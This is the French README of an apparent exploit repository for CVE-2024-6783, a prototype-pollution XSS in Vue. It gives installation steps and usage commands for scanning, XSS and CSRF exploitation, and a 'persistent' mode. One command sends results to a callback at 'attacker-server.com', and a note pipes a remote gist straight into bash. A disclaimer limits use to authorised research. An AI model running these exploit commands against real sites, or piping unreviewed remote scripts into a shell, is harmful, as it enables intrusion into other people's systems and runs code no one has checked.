horkimhab/cve-2024-6783CVE-2024-6783 - Vue CVE
Une vulnérabilité a été découverte dans Vue, qui permet à un attaquant d'effectuer une XSS via une pollution de prototype. L'attaquant pourrait modifier la chaîne de prototypes de certaines propriétés telles que Object.prototype.staticClass ou Object.prototype.staticStyle pour exécuter du code JavaScript arbitraire.
Soutenez la maintenance de ce projet via PayPal ou en scannant le code QR ci-dessous.
Utilisez ce projet uniquement dans des environnements sûrs et autorisés tels que :
Exemple de configuration :
git clone https://github.com/HORKimhab/CVE-2024-6783
cd CVE-2024-6783
# Le projet utilise python comme suit
# Créer un environnement virtuel
python -m venv venv
# Activer l'environnement virtuel
# macOS / Linux
source venv/bin/activate
# Windows (Git Bash / WSL)
source venv/Scripts/activate
# Installer les dépendances
pip install -r requirements.txt
Exemple d'utilisation :
# scan uniquement
python cve-2024-6783.py -u https://example.com -v
# Scan & Exploitation XSS
python cve-2024-6783.py -u https://example.com -e xss
# Exploitation XSS avec rappel (callback)
python cve-2024-6783.py -u https://example.com -e xss -c http://attacker-server.com/callback
# Serveur de rappel automatique
python cve-2024-6783.py -u https://example.com -e persistent -c auto
# Exploitation CSRF
python cve-2024-6783.py -u https://example.com -e csrf
# Scan complet et exploitation avec sortie détaillée
python cve-2024-6783.py -u https://example.com -e xss -c auto -v -o evidence.html
Remarque :
curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y pour supprimer le .git du répertoire imbriquéUn dépôt pour apprendre, tester et rechercher des concepts de cybersécurité dans des environnements contrôlés.
Ce dépôt est destiné uniquement à la recherche en sécurité pédagogique et autorisée.
Il est conçu pour aider les utilisateurs à apprendre :
Utilisez ce dépôt uniquement dans des environnements où vous avez la permission, tels que :
Toute utilisation non autorisée ou illégale est strictement interdite.
L'auteur et les contributeurs ne sont pas responsables des dommages, mauvais usages, problèmes juridiques ou pertes causés par ce projet.
En utilisant ce dépôt, vous acceptez que :
Ce projet est destiné à :
Veuillez suivre les pratiques de divulgation responsable et vous conformer à toutes les lois applicables.
Pour une divulgation responsable ou une collaboration, contactez le mainteneur du dépôt via GitHub.